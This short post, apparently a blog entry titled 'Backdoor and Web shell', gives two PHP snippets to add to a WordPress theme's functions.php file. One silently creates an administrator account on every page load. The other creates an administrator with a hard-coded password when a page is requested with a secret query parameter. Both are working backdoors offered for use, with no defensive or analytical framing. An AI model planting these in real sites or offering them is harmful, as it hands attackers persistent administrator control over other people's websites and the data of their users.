Backdoor and Web shell

Dec 2, 2023

Backdoor-01 (add to theme functions.php)

function wpb_admin_account(){
$user = ‘minhaz’;
$pass = ‘pass’;
$email = ’email@email.em’;
if ( !username_exists( $user ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
$user->set_role( ‘administrator’ );
}
}
add_action(‘init’,’wpb_admin_account’);

Backdoor-02 (add to theme functions.php)

<?php
add_action(‘wp_head’, ‘WordPress_backdoor’);
function WordPress_backdoor() {
If ($_GET[‘backdoor’] == ‘go’) {
require(‘wp-includes/registration.php’);
If (!username_exists(‘backdooradmin’)) {
$user_id = wp_create_user(‘backdooradmin’, ‘Pa55W0rd’);
$user = new WP_User($user_id);
$user->set_role(‘administrator’);
}
}
}
?>